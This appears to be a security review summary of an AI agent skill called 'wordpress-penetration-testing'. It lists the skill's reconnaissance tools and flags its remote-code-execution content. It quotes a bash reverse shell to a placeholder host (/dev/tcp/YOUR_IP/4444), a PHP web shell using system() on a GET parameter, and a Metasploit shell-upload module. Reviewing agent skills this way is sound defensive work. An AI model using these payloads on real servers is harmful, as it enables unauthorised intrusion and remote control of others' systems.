The Agent Skills Directory

[COMMAND_EXECUTION]: The skill utilizes several command-line utilities for reconnaissance and exploitation purposes.
It employs curl and wget for interacting with web targets and discovering file paths.
It includes instructions for using nmap with specialized scripts to enumerate WordPress installations.
It provides commands for wpscan to perform aggressive vulnerability and plugin enumeration.
It utilizes zip and cat to locally generate malicious payloads.
[REMOTE_CODE_EXECUTION]: The skill contains explicit instructions and source code for achieving remote command execution on target servers.
In the "Manual Exploitation" section, it provides a PHP reverse shell payload: exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");.
It describes the creation of a malicious WordPress plugin that acts as a web shell using the system() function: if(isset($_GET['cmd'])){ system($_GET['cmd']); }.
It details the use of the Metasploit Framework (msfconsole) for automated shell uploads via modules like exploit/unix/webapp/wp_admin_shell_upload.

wordpress-penetration-testing